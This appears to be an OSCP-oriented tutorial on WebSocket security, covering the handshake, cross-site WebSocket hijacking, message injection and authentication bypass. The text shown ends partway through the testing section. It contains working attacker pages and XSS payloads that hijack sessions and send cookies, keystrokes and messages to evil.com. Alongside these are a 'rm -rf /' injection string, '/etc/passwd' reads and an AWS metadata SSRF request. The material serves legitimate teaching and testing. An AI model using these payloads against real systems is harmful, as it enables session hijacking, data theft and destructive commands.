WebSocket Attacks
Table of Contents
- WebSocket Fundamentals
- Cross-Site WebSocket Hijacking (CSWSH)
- WebSocket Message Injection
- WebSocket Authentication Bypass
- WebSocket Security Testing Methodology
- Tools for WebSocket Testing
- Mitigation Strategies
- OSCP-Specific Tips and Lab Scenarios
- Real-World Case Studies
- Quick Reference Cheat Sheet
1. WebSocket Fundamentals
1.1 What is WebSocket?
WebSocket is a protocol providing full-duplex communication channels over a single TCP connection.
Unlike HTTP, which is request-response based (client requests, server responds), WebSocket allows bidirectional, real-time communication where both the client and server can send messages independently at any time.
Key Characteristics:
| Feature | HTTP | WebSocket |
|---|---|---|
| Communication | Request-Response (Half-duplex) | Full-duplex |
| Connection | Stateless (per request) | Persistent (single TCP) |
| Latency | High (new connection per request) | Low (persistent connection) |
| Overhead | High (headers per request) | Low (minimal frame headers) |
| Use Cases | Web pages, REST APIs | Real-time apps, chat, gaming, live updates |
1.2 Protocol Overview
URI Schemes
ws://— Unencrypted WebSocket connection (runs over plain TCP, typically port 80)wss://— Encrypted WebSocket connection (runs over TLS, typically port 443)
Note:
wss://is the secure equivalent ofws://, just ashttps://is the secure equivalent ofhttp://. Always preferwss://in production.
Protocol Versions
- WebSocket Protocol Version 13 (RFC 6455) is the current standard and the only version supported by modern browsers.
- Earlier versions (0-12) are deprecated and should never be used.
1.3 HTTP Upgrade Handshake Mechanism
WebSocket connections begin with an HTTP upgrade handshake. The client sends a special HTTP request asking the server to upgrade the connection from HTTP to WebSocket.
Client-to-Server Handshake Request
GET /chat HTTP/1.1
Host: example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Origin: https://example.com
Cookie: sessionid=abc123def456
Header Breakdown:
| Header | Purpose |
|---|---|
Upgrade: websocket |
Signals the intent to upgrade to WebSocket protocol |
Connection: Upgrade |
Required by HTTP spec when using Upgrade header |
Sec-WebSocket-Key |
Random base64-encoded 16-byte value used for security (prevents HTTP cache issues) |
Sec-WebSocket-Version |
Protocol version (must be 13) |
Origin |
The origin of the requester (used for security checks) |
Cookie |
Critical: Cookies are automatically sent with the handshake — this is the root of CSWSH |
Server-to-Client Handshake Response
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
Header Breakdown:
| Header | Purpose |
|---|---|
101 Switching Protocols |
Status code indicating protocol upgrade |
Sec-WebSocket-Accept |
Server’s computed response to the client’s key (proves server understands WebSocket) |
The Key/Accept Calculation
The Sec-WebSocket-Accept value is computed by the server as follows:
Sec-WebSocket-Accept = Base64(
SHA-1(
Sec-WebSocket-Key + "258EAFA5-E914-47DA-95CA-5AB5DC76B609"
)
)
This GUID (258EAFA5-E914-47DA-95CA-5AB5DC76B609) is hardcoded in the WebSocket specification. The purpose is to:
- Prevent HTTP caches from storing WebSocket responses
- Verify that the server actually understands the WebSocket protocol
1.4 Full-Duplex Communication Model
Once the handshake is complete, the connection is upgraded to a WebSocket connection. Data is exchanged using WebSocket frames.
WebSocket Frame Structure
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-------+-+-------------+-------------------------------+
|F|R|R|R| opcode|M| Payload len | Extended payload length |
|I|S|S|S| (4) |A| (7) | (16/64) |
|N|V|V|V| |S| | (if payload len==126/127) |
| |1|2|3| |K| | |
+-+-+-+-+-------+-+-------------+ - - - - - - - - - - - - - - - +
| Extended payload length continued, if payload len == 127 |
+ - - - - - - - - - - - - - - - +-------------------------------+
| |Masking-key, if MASK set to 1 |
+-------------------------------+-------------------------------+
| Masking-key (continued) | Payload Data |
+-------------------------------- - - - - - - - - - - - - - - - +
: Payload Data continued ... :
+ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +
| Payload Data continued ... |
+---------------------------------------------------------------+
Key Fields:
| Field | Size | Description |
|---|---|---|
| FIN | 1 bit | Indicates if this is the final frame in a message |
| RSV1-3 | 3 bits | Reserved for extensions (must be 0 unless negotiated) |
| Opcode | 4 bits | Type of frame (0x0=continuation, 0x1=text, 0x2=binary, 0x8=close, 0x9=ping, 0xA=pong) |
| Mask | 1 bit | 1 if payload is masked (client-to-server MUST mask) |
| Payload Length | 7/16/64 bits | Length of the payload data |
| Masking Key | 0/4 bytes | Key used to unmask payload (client-to-server only) |
| Payload Data | Variable | The actual message data |
Frame Opcodes
| Opcode | Meaning | Description |
|---|---|---|
0x0 |
Continuation | Continuation frame (for fragmented messages) |
0x1 |
Text | Text frame (UTF-8 encoded) |
0x2 |
Binary | Binary frame |
0x3-7 |
Reserved | Reserved for further non-control frames |
0x8 |
Close | Connection close |
0x9 |
Ping | Ping frame (keep-alive) |
0xA |
Pong | Pong frame (response to ping) |
0xB-F |
Reserved | Reserved for further control frames |
1.5 Why WebSockets Lack Built-in SOP for Handshake
This is the critical security weakness that enables CSWSH attacks.
Same-Origin Policy (SOP) Refresher
The Same-Origin Policy is a fundamental browser security mechanism that restricts how documents or scripts from one origin can interact with resources from another origin. An origin is defined by the combination of:
- Scheme (protocol):
http,https,ws,wss - Host (domain):
example.com - Port:
80,443,8080, etc.
The WebSocket SOP Gap
WebSocket connections DO NOT enforce Same-Origin Policy on the handshake request. Here’s why:
-
Cookies are automatically sent: When a browser initiates a WebSocket connection, it automatically includes cookies for the target domain in the HTTP upgrade request — regardless of the origin of the page initiating the connection.
-
No CORS-like mechanism: Unlike XMLHttpRequest (XHR) and Fetch API, WebSocket does not have a CORS (Cross-Origin Resource Sharing) mechanism. There is no
Access-Control-Allow-Originequivalent for WebSocket handshakes. -
Origin header is optional and unreliable: While the browser sends an
Originheader in the handshake, this header:- Can be omitted in some cases
- Can be spoofed by attackers
- Is not enforced by the browser at the protocol level
-
The browser allows cross-origin WebSocket connections: A page at
https://evil.comcan open a WebSocket connection towss://victim.com/chatwithout any browser restriction.
Comparison Table: SOP Enforcement
| Technology | Cross-Origin Allowed? | Cookies Sent? | Browser Enforcement |
|---|---|---|---|
| XMLHttpRequest (XHR) | No (unless CORS headers present) | No (unless CORS with credentials) | Strict |
| Fetch API | No (unless CORS headers present) | No (unless CORS with credentials) | Strict |
<img> / <script> tags |
Yes | No | Partial |
| WebSocket | Yes | Yes | None |
<form> POST |
Yes | Yes | None (CSRF vector) |
Key Insight: WebSocket behaves like a
<form>POST in terms of cookie handling — it sends cookies automatically without cross-origin restrictions. This is exactly what makes CSWSH possible.
1.6 WebSocket in JavaScript
Basic Client-Side API
// Create a WebSocket connection
const ws = new WebSocket('wss://example.com/chat');
// Connection opened
ws.onopen = function(event) {
console.log('Connected to WebSocket server');
ws.send('Hello, Server!');
};
// Receive message from server
ws.onmessage = function(event) {
console.log('Message from server:', event.data);
};
// Connection closed
ws.onclose = function(event) {
console.log('Connection closed. Code:', event.code, 'Reason:', event.reason);
};
// Error occurred
ws.onerror = function(error) {
console.error('WebSocket error:', error);
};
// Send a message
ws.send(JSON.stringify({ type: 'chat', message: 'Hello!' }));
// Close the connection
ws.close(1000, 'Normal closure');
WebSocket Ready States
| State | Value | Description |
|---|---|---|
CONNECTING |
0 | Connection is not yet open |
OPEN |
1 | Connection is open and ready to communicate |
CLOSING |
2 | Connection is in the process of closing |
CLOSED |
3 | Connection is closed or could not be opened |
2. Cross-Site WebSocket Hijacking (CSWSH)
2.1 What is CSWSH?
Cross-Site WebSocket Hijacking (CSWSH) is an attack where an attacker exploits the lack of Same-Origin Policy enforcement on WebSocket connections to hijack a victim’s authenticated WebSocket session.
The attack works because:
- WebSocket connections automatically include cookies in the handshake
- The browser does not prevent cross-origin WebSocket connections
- If the server relies solely on cookies for authentication, the attacker can impersonate the victim
2.2 Attack Prerequisites
For CSWSH to succeed, ALL of the following conditions must be met:
| # | Condition | Description |
|---|---|---|
| 1 | Cookie-based authentication | The WebSocket server authenticates users using session cookies |
| 2 | No additional CSRF protection | No CSRF tokens, Origin validation, or other anti-CSWSH measures |
| 3 | Victim is authenticated | The victim has an active session with the target application |
| 4 | Victim visits attacker’s page | The victim must load a page controlled by the attacker |
2.3 Detailed Attack Flow
Step-by-Step Breakdown
┌─────────────────────────────────────────────────────────────────────────┐
│ CSWSH Attack Flow │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ Step 1: Attacker creates malicious page │
│ ┌──────────────┐ │
│ │ evil.com │ Contains JavaScript that opens WebSocket │
│ │ │ to victim.com │
│ └──────┬───────┘ │
│ │ │
│ Step 2: Victim visits evil.com (via phishing, XSS, etc.) │
│ │ │
│ ┌────▼────┐ │
│ │ Victim │ Browser loads evil.com page │
│ │ Browser │ Victim has active session cookie for victim.com │
│ └────┬────┘ │
│ │ │
│ Step 3: Malicious JS executes, opens WebSocket to victim.com │
│ │ │
│ │ GET /api/chat HTTP/1.1 │
│ │ Host: victim.com │
│ │ Upgrade: websocket │
│ │ Connection: Upgrade │
│ │ Sec-WebSocket-Key: <random> │
│ │ Sec-WebSocket-Version: 13 │
│ │ Origin: https://evil.com ← Attacker's origin │
│ │ Cookie: sessionid=victim_cookie ← Victim's cookie! │
│ │ │
│ ▼ │
│ ┌──────────────┐ │
│ │ victim.com │ Server sees valid cookie, accepts connection │
│ │ (WebSocket │ Server thinks this is the legitimate victim │
│ │ Server) │ │
│ └──────┬───────┘ │
│ │ │
│ Step 4: Server responds with 101 Switching Protocols │
│ │ │
│ │ HTTP/1.1 101 Switching Protocols │
│ │ Upgrade: websocket │
│ │ Connection: Upgrade │
│ │ Sec-WebSocket-Accept: <computed> │
│ │ │
│ ▼ │
│ ┌──────────────┐ │
│ │ victim.com │ WebSocket connection established │
│ │ (WebSocket │ Server treats attacker as the authenticated victim │
│ │ Server) │ │
│ └──────┬───────┘ │
│ │ │
│ Step 5: Attacker can now: │
│ │ • Read all messages sent to the victim │
│ │ • Send messages as the victim │
│ │ • Execute actions on behalf of the victim │
│ │ │
│ ▼ │
│ ┌──────────────┐ │
│ │ evil.com │ Attacker receives victim's data via onmessage │
│ │ (Attacker's │ Attacker can send commands via ws.send() │
│ │ Server) │ │
│ └──────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────┘
2.4 Working Attacker Code Examples
Example 1: Basic CSWSH — Chat Application Hijacking
Scenario: A real-time chat application at https://chat.victim.com uses WebSocket for messaging. The application authenticates users via session cookies.
Attacker’s Page (evil.com/hijack.html):
<!DOCTYPE html>
<html>
<head>
<title>Free Gift Card!</title>
</head>
<body>
<h1>Congratulations! You won a gift card!</h1>
<p>Please wait while we verify your eligibility...</p>
<div id="status">Processing...</div>
<script>
// Hide the real purpose of this page
document.title = 'Loading...';
// Open WebSocket connection to the victim's chat server
// The browser will automatically include the victim's cookies
var ws = new WebSocket('wss://chat.victim.com/ws/chat');
ws.onopen = function() {
console.log('[*] WebSocket connection established!');
document.getElementById('status').textContent = 'Verification complete!';
// Send a message to confirm we're connected
ws.send(JSON.stringify({
type: 'message',
content: '[System] Connection verified'
}));
};
// Capture all messages sent to the victim
ws.onmessage = function(event) {
console.log('[*] Intercepted message:', event.data);
// Exfiltrate the data to the attacker's server
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://evil.com/collect', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.send(JSON.stringify({
timestamp: new Date().toISOString(),
message: event.data
}));
};
ws.onerror = function(error) {
console.error('[!] WebSocket error:', error);
document.getElementById('status').textContent = 'Verification failed. Please try again.';
};
ws.onclose = function(event) {
console.log('[*] Connection closed. Code:', event.code);
};
</script>
</body>
</html>
Example 2: CSWSH — Stock Trading Application
Scenario: A stock trading platform uses WebSocket for real-time price updates and trade execution.
Attacker’s Page:
<!DOCTYPE html>
<html>
<head>
<title>Market Analysis Tool</title>
</head>
<body>
<h1>Real-Time Market Analysis</h1>
<div id="trades"></div>
<script>
// Connect to the victim's trading WebSocket
var ws = new WebSocket('wss://trading.victim.com/api/realtime');
ws.onopen = function() {
console.log('[*] Trading WebSocket hijacked!');
// Subscribe to all trade events
ws.send(JSON.stringify({
action: 'subscribe',
channels: ['trades', 'portfolio', 'notifications']
}));
// Attempt to execute a trade as the victim
ws.send(JSON.stringify({
action: 'trade',
symbol: 'AAPL',
type: 'buy',
quantity: 100,
price: 150.00
}));
};
ws.onmessage = function(event) {
var data;
try {
data = JSON.parse(event.data);
} catch(e) {
data = event.data;
}
console.log('[*] Received:', JSON.stringify(data));
// Exfiltrate sensitive trading data
exfiltrate(data);
// Display to victim (to maintain cover)
var div = document.createElement('div');
div.textContent = JSON.stringify(data, null, 2);
document.getElementById('trades').appendChild(div);
};
function exfiltrate(data) {
var img = new Image();
// Encode data as base64 and send via image request
var encoded = btoa(JSON.stringify(data));
img.src = 'https://evil.com/log?data=' + encoded.substring(0, 2000);
}
ws.onerror = function(error) {
console.error('[!] Error:', error);
};
</script>
</body>
</html>
Example 3: CSWSH — Using a Proxy for Data Exfiltration
Attacker’s Page with Proxy Relay:
<!DOCTYPE html>
<html>
<head>
<title>Loading...</title>
</head>
<body>
<script>
// Victim's WebSocket
var victimWs = new WebSocket('wss://app.victim.com/socket');
// Attacker's WebSocket (to relay data)
var attackerWs = new WebSocket('wss://evil.com/relay');
// Relay victim -> attacker
victimWs.onmessage = function(event) {
console.log('[->] Victim data:', event.data);
attackerWs.send(event.data);
};
// Relay attacker -> victim (execute commands)
attackerWs.onmessage = function(event) {
console.log('[<-] Command from attacker:', event.data);
victimWs.send(event.data);
};
victimWs.onopen = function() {
console.log('[*] Victim WebSocket connected');
attackerWs.send('CONNECTED');
};
victimWs.onclose = function() {
console.log('[*] Victim WebSocket closed');
attackerWs.send('DISCONNECTED');
};
victimWs.onerror = function(err) {
console.error('[!] Victim WebSocket error');
attackerWs.send('ERROR');
};
</script>
</body>
</html>
2.5 How Cookies Are Sent with WebSocket Handshake
Browser Behavior
When a browser initiates a WebSocket connection, it follows the same cookie-sending rules as regular HTTP requests:
- Domain matching: If the WebSocket URL’s domain matches a domain for which the browser has cookies, those cookies are included.
- Path matching: Cookies with matching paths are included.
- Secure flag: If a cookie has the
Secureflag, it is only sent overwss://(notws://). - HttpOnly flag: The
HttpOnlyflag does NOT prevent cookies from being sent with WebSocket handshakes. It only prevents JavaScript access to the cookie viadocument.cookie.
Demonstration
Victim's Browser State:
┌────────────────────────────────────────────┐
│ Cookies for victim.com: │
│ sessionid=abc123; Path=/; HttpOnly │
│ csrf_token=xyz789; Path=/ │
│ preferences=dark_mode; Path=/ │
└────────────────────────────────────────────┘
When victim.com/page.html opens WebSocket to wss://victim.com/chat:
┌────────────────────────────────────────────┐
│ GET /chat HTTP/1.1 │
│ Host: victim.com │
│ Upgrade: websocket │
│ Connection: Upgrade │
│ Sec-WebSocket-Key: <random> │
│ Sec-WebSocket-Version: 13 │
│ Origin: https://victim.com │
│ Cookie: sessionid=abc123; │
│ csrf_token=xyz789; │
│ preferences=dark_mode │
└────────────────────────────────────────────┘
When evil.com/malicious.html opens WebSocket to wss://victim.com/chat:
┌────────────────────────────────────────────┐
│ GET /chat HTTP/1.1 │
│ Host: victim.com │
│ Upgrade: websocket │
│ Connection: Upgrade │
│ Sec-WebSocket-Key: <random> │
│ Sec-WebSocket-Version: 13 │
│ Origin: https://evil.com ← DIFFERENT│
│ Cookie: sessionid=abc123; │ ← SAME COOKIES!
│ csrf_token=xyz789; │
│ preferences=dark_mode │
└────────────────────────────────────────────┘
Critical Point: The only difference between the two requests is the
Originheader. If the server doesn’t validate theOriginheader, both connections are treated identically.
2.6 Real-World Impact Scenarios
Scenario 1: Real-Time Chat Application
Impact:
- Attacker can read all private messages
- Attacker can send messages impersonating the victim
- Attacker can extract sensitive information shared in chat
Example Data Exposed:
{
"type": "message",
"from": "victim_user",
"to": "colleague",
"content": "The password for the staging server is P@ssw0rd123",
"timestamp": "2026-09-01T10:30:00Z"
}
Scenario 2: Collaborative Document Editing
Impact:
- Attacker can view document contents in real-time
- Attacker can modify documents without detection
- Attacker can delete or corrupt shared documents
Scenario 3: Financial Trading Platform
Impact:
- Attacker can view real-time portfolio data
- Attacker can execute trades on behalf of the victim
- Attacker can drain accounts through unauthorized transactions
Scenario 4: IoT Device Management
Impact:
- Attacker can view device status and telemetry
- Attacker can send commands to control devices
- Attacker can disable security features or alter configurations
Scenario 5: Live Streaming / Video Conferencing
Impact:
- Attacker can intercept control signals (mute, unmute, share screen)
- Attacker can disrupt ongoing sessions
- Attacker can extract participant information
2.7 CSWSH vs. CSRF — Key Differences
| Aspect | CSRF (Cross-Site Request Forgery) | CSWSH (Cross-Site WebSocket Hijacking) |
|---|---|---|
| Protocol | HTTP (GET/POST) | WebSocket (ws:// / wss://) |
| Communication | Request-Response | Full-duplex, persistent |
| Data Flow | One-time request | Continuous bidirectional stream |
| Attack Duration | Single request | Persistent until connection closes |
| Detection | Easier (single request) | Harder (ongoing connection) |
| Impact | State-changing actions | Real-time data theft + actions |
| Mitigation | CSRF tokens, SameSite cookies | Origin validation, CSRF tokens in WS |
3. WebSocket Message Injection
3.1 Overview
WebSocket message injection occurs when user-supplied data sent through a WebSocket connection is not properly sanitized before being processed or displayed. This can lead to:
- Stored XSS — Malicious payloads stored on the server and served to other users
- Reflected XSS — Payloads reflected back to the sender
- Command Injection — If the server processes WebSocket messages as commands
- Data Exfiltration — Extracting sensitive data through crafted messages
3.2 How Unsanitized WebSocket Messages Lead to XSS
Attack Flow
┌─────────────────────────────────────────────────────────────┐
│ WebSocket XSS Attack Flow │
├─────────────────────────────────────────────────────────────┤
│ │
│ 1. Attacker sends malicious payload via WebSocket: │
│ ws.send('<img src=x onerror=alert(document.cookie)>') │
│ │
│ 2. Server receives the message and stores/forwards it │
│ (without sanitization) │
│ │
│ 3. Server broadcasts message to all connected clients: │
│ { │
│ "user": "attacker", │
│ "message": "<img src=x onerror=alert(document.cookie)>"│
│ } │
│ │
│ 4. Victim's browser receives the message and renders it │
│ in the DOM without sanitization │
│ │
│ 5. JavaScript executes, stealing victim's data │
│ │
└─────────────────────────────────────────────────────────────┘
3.3 Stored XSS via WebSocket Messages
Vulnerable Server Code (Node.js)
// VULNERABLE — No sanitization!
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 8080 });
wss.on('connection', (ws) => {
ws.on('message', (message) => {
// Store message in database (no sanitization)
saveMessageToDB(message);
// Broadcast to all connected clients (no sanitization)
wss.clients.forEach((client) => {
if (client.readyState === WebSocket.OPEN) {
client.send(message.toString());
}
});
});
});
Vulnerable Client Code
// VULNERABLE — Direct innerHTML assignment!
const ws = new WebSocket('wss://example.com/chat');
ws.onmessage = function(event) {
var data = JSON.parse(event.data);
// DANGEROUS: Directly inserting untrusted data into DOM
document.getElementById('chat-messages').innerHTML +=
'<div class="message"><strong>' + data.user + '</strong>: ' +
data.message + '</div>';
};
Exploitation
Attacker’s Payload:
// Simple XSS
ws.send(JSON.stringify({
user: 'attacker',
message: '<img src=x onerror="alert(document.cookie)">'
}));
// Advanced XSS — Cookie Stealer
ws.send(JSON.stringify({
user: 'attacker',
message: '<img src=x onerror="new Image().src=\'https://evil.com/steal?c=\'+document.cookie">'
}));
// Advanced XSS — Keylogger
ws.send(JSON.stringify({
user: 'attacker',
message: '<script>document.onkeypress=function(e){new Image().src="https://evil.com/log?k="+e.key};</script>'
}));
// Advanced XSS — WebSocket Hijack Chain
ws.send(JSON.stringify({
user: 'attacker',
message: '<script>' +
'var ws2 = new WebSocket("wss://evil.com/relay");' +
'ws2.onopen = function() { ws2.send(document.cookie); };' +
'</script>'
}));
3.4 Real-Time Chat Application Attacks
Complete Attack Scenario
Step 1: Reconnaissance
# Connect to the WebSocket server and observe traffic
wscat -c wss://chat.victim.com/ws
# Send a test message
> Hello World
# Observe the response format
< {"type":"message","user":"anonymous","content":"Hello World","id":"msg_123"}
Step 2: Test for XSS
# Test basic XSS
> <script>alert(1)</script>
# If reflected, the application is vulnerable
< {"type":"message","user":"anonymous","content":"<script>alert(1)</script>","id":"msg_124"}
Step 3: Exploit
// In the attacker's browser console or malicious page
var ws = new WebSocket('wss://chat.victim.com/ws');
ws.onopen = function() {
// Send XSS payload
ws.send(JSON.stringify({
type: 'message',
content: '<img src=x onerror="fetch(\'https://evil.com/exfil?data=\'+btoa(document.cookie))">'
}));
};
Step 4: Harvest
When any victim views the chat, their browser executes the XSS payload, sending their cookies to the attacker’s server.
3.5 WebSocket Message Injection Variants
Variant 1: JSON Injection
If the server parses WebSocket messages as JSON and uses the data unsafely:
// Attacker sends crafted JSON
ws.send(JSON.stringify({
type: 'command',
action: 'execute',
payload: '; rm -rf / #'
}));
// Server processes unsafely
var cmd = 'echo ' + message.payload;
exec(cmd); // Command injection!
Variant 2: Prototype Pollution via WebSocket
// Attacker sends prototype pollution payload
ws.send(JSON.stringify({
"__proto__": {
"isAdmin": true,
"role": "admin"
}
}));
// If server uses unsafe JSON merge, all objects inherit isAdmin=true
Variant 3: Server-Side Request Forgery (SSRF)
// Attacker sends SSRF payload
ws.send(JSON.stringify({
type: 'fetch_url',
url: 'http://169.254.169.254/latest/meta-data/iam/security-credentials/'
}));
// Server fetches internal AWS metadata
3.6 Detection Methodology for Message Injection
During Penetration Testing
-
Identify WebSocket endpoints:
# Using Burp Suite - Open Burp Suite and configure browser proxy - Navigate to the target application - Check Proxy > HTTP History for WebSocket upgrade requests - Look for "101 Switching Protocols" responses # Using command line wscat -c wss://target.com/ws -
Map message formats:
# Observe the message structure wscat -c wss://target.com/ws # Send test messages > {"type":"test","data":"hello"} -
Test for XSS:
# Basic XSS tests > <script>alert(1)</script> > <img src=x onerror=alert(1)> > <svg onload=alert(1)> # HTML entity encoding tests > <script>alert(1)</script> # JavaScript protocol tests > javascript:alert(1) -
Test for injection:
# SQL injection (if messages go to database) > ' OR '1'='1 # Command injection > ; ls -la > | cat /etc/passwd # Template injection > {{constructor.constructor('return this')()}} > ${7*7} -
Test for SSRF:
# Internal network access > http://localhost:8080/admin > http://169.254.169.254/latest/meta-data/
4. WebSocket Authentication Bypass
4.1 Cookie-Only Authentication Weakness
The Problem
Many WebSocket implementations rely solely on cookies for authentication. This is problematic because:
- Cookies are automatically sent with WebSocket handshakes (as discussed in CSWSH)
- Cookies can be hijacked via XSS
- Cookies don’t provide protection against CSWSH without additional measures
Vulnerable Server Implementation
// VULNERABLE — Cookie-only authentication
const WebSocket = require('ws');
const http = require('http');
const server = http.createServer();
const wss = new WebSocket.Server({ server });
wss.on('connection', (ws, req) => {
// Extract session cookie
const cookies = parseCookies(req.headers.cookie);
const sessionId = cookies['sessionid'];
// Authenticate based on cookie alone
const user = validateSession(sessionId);
if (!user) {
ws.close(4001, 'Unauthorized');
return;
}
// User is authenticated — no additional verification!
ws.user = user;
console.log(`User ${user.username} connected via WebSocket`);
});
4.2 Origin Header Validation Bypass
The Origin Header
The Origin header in the WebSocket handshake indicates the page that initiated the connection:
GET /ws HTTP/1.1
Host: victim.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: <random>
Sec-WebSocket-Version: 13
Origin: https://evil.com ← This should be validated!
Why Origin Validation is Often Bypassed
- Not implemented: Many developers don’t know about the Origin header or don’t validate it
- Incomplete validation: Some implementations only check if the header exists, not its value
- Whitelist misconfiguration: The whitelist may be too permissive or missing entries
- Missing for subdomains: Subdomains may not be included in the whitelist
Vulnerable Origin Validation
// VULNERABLE — Checks existence but not value
if (req.headers.origin) {
// Header exists, but we don't check the value!
console.log('Origin header present');
}
// VULNERABLE — Allows any origin containing "victim"
if (req.headers.origin && req.headers.origin.includes('victim')) {
// "evil-victim.com" would pass this check!
console.log('Origin validated');
}
// VULNERABLE — Case-insensitive comparison without normalization
if (req.headers.origin === 'https://VICTIM.COM') {
// Case mismatch allows bypass
}
Proper Origin Validation
// SECURE — Strict origin validation
const ALLOWED_ORIGINS = [
'https://victim.com',
'https://www.victim.com',
'https://app.victim.com'
];
function validateOrigin(origin) {
if (!origin) {
return false; // Reject if no Origin header
}
// Normalize the origin
const normalized = origin.toLowerCase().trim();
// Strict comparison
return ALLOWED_ORIGINS.some(allowed =>
normalized === allowed.toLowerCase()
);
}
// Usage in WebSocket handler
wss.on('connection', (ws, req) => {
const origin = req.headers.origin;
if (!validateOrigin(origin)) {
ws.close(4003, 'Forbidden: Invalid origin');
console.warn(`Rejected WebSocket connection from origin: ${origin}`);
return;
}
// Continue with authentication...
});
4.3 Exploitation Techniques
Technique 1: Direct Origin Spoofing
Some servers only check the Origin header without validating against a whitelist:
// Attacker can set arbitrary Origin in some contexts
// (Note: Browsers control the Origin header, but proxy tools can modify it)
// Using curl to test
curl -i -N \
-H "Connection: Upgrade" \
-H "Upgrade: websocket" \
-H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
-H "Sec-WebSocket-Version: 13" \
-H "Origin: https://victim.com" \
-H "Cookie: sessionid=stolen_cookie" \
https://victim.com/ws
Technique 2: Subdomain Registration
If the application uses a wildcard subdomain or allows user-controlled subdomains:
# Attacker registers: victim.attacker.com
# If the origin check is: origin.includes('victim')
# Then https://victim.attacker.com passes the check!
Technique 3: Missing Origin Header Exploitation
Some servers don’t require an Origin header at all:
// VULNERABLE — No origin check
wss.on('connection', (ws, req) => {
// No origin validation at all!
const cookies = parseCookies(req.headers.cookie);
// ... authenticate with cookie only
});
Exploitation:
# Connect without Origin header
wscat -c wss://victim.com/ws --header "Cookie: sessionid=stolen_cookie"
Technique 4: Token in URL Parameter Bypass
Some applications pass authentication tokens as URL parameters:
wss://victim.com/ws?token=abc123
Exploitation:
// Attacker can craft a link with the victim's token
var ws = new WebSocket('wss://victim.com/ws?token=' + stolenToken);
4.4 Authentication Bypass via WebSocket-Specific Vectors
Vector 1: Handshake Manipulation
# Normal handshake
GET /ws HTTP/1.1
Host: victim.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: <random>
Sec-WebSocket-Version: 13
Cookie: sessionid=valid
# Manipulated handshake (if server has bugs)
GET /ws HTTP/1.1
Host: victim.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: <random>
Sec-WebSocket-Version: 13
Cookie: sessionid=valid
X-User-Role: admin ← Custom header injection
Vector 2: Subprotocol Manipulation
GET /ws HTTP/1.1
Host: victim.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: <random>
Sec-WebSocket-Version: 13
Sec-WebSocket-Protocol: admin-protocol ← Request privileged subprotocol
Vector 3: Extension Manipulation
GET /ws HTTP/1.1
Host: victim.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: <random>
Sec-WebSocket-Version: 13
Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits ← Manipulate extensions
5. WebSocket Security Testing Methodology
5.1 Reconnaissance Phase
Step 1: Identify WebSocket Endpoints
# Method 1: Burp Suite
# - Configure browser proxy to Burp
# - Browse the application
# - Check Proxy > HTTP History
# - Filter for "101 Switching Protocols" responses
# Method 2: Command Line
# Search source code for WebSocket references
grep -r "new WebSocket" /path/to/source/
grep -r "wss://" /path/to/source/
grep -r "ws://" /path/to/source/
# Method 3: Network Monitoring
# Use browser DevTools > Network tab > WS filter
# Observe all WebSocket connections
# Method 4: Automated Scanning
# Use tools like ZAP or custom scripts
python3 ws_scanner.py --target https://victim.com
Step 2: Analyze Handshake
# Capture the handshake using Burp or wscat
wscat -c wss://victim.com/ws --print
# Examine:
# - What headers are sent?
# - What authentication is used?
# - Is Origin validated?
# - Are cookies required?
Step 3: Map Message Formats
# Connect and observe traffic
wscat -c wss://victim.com/ws
# Send test messages to understand the protocol
> {"type":"ping"}
< {"type":"pong","timestamp":1234567890}
> {"type":"message","content":"test"}
< {"type":"message","content":"test","id":"msg_001"}
5.2 Testing Phase
Test 1: CSWSH Testing
// Create a test page on a different domain
// evil.com/test-cswsh.html
<!DOCTYPE html>
<html>
<body>
<script>
var ws = new WebSocket('wss://victim.com/ws');
ws.onopen = function() {
console.log('[+] CSWSH Possible! Connection established from different origin.');
document.body.innerHTML = '<h1 style="color:green">CSWSH VULNERABLE</h1>';
};
ws.onerror = function() {
console.log('[-] CSWSH Blocked. Connection rejected.');
document.body.innerHTML = '<h1 style="color:red">CSWSH PROTECTED</h1>';
};
ws.onmessage = function(event) {
console.log('[*] Received:', event.data);
};
</script>
</body>
</html>
Test 2: Origin Validation Testing
# Test with different Origin values using Burp Repeater
# Test 1: No Origin header
GET /ws HTTP/1.1
Host: victim.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
# Test 2: Attacker's Origin
GET /ws HTTP/1.1
Host: victim.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Origin: https://evil.com
# Test 3: Subdomain attack
GET /ws HTTP/1.1
Host: victim.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Origin: https://victim.attacker.com
# Test 4: Missing scheme
GET /ws HTTP/1.1
Host: victim.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Origin: victim.com
Test 3: Message Injection Testing
# Connect via wscat
wscat -c wss://victim.com/ws
# Test XSS payloads
> <script>alert(1)</script>
> <img src=x onerror=alert(1)>
> <svg onload=alert(1)>
> <body onload=alert(1)>
> <iframe src="javascript:alert(1)">
# Test HTML entity bypass
> <script>alert(1)</script>
> <script>alert(1)</script>
# Test event handler injection
> <div onclick=alert(1)>Click me</div>
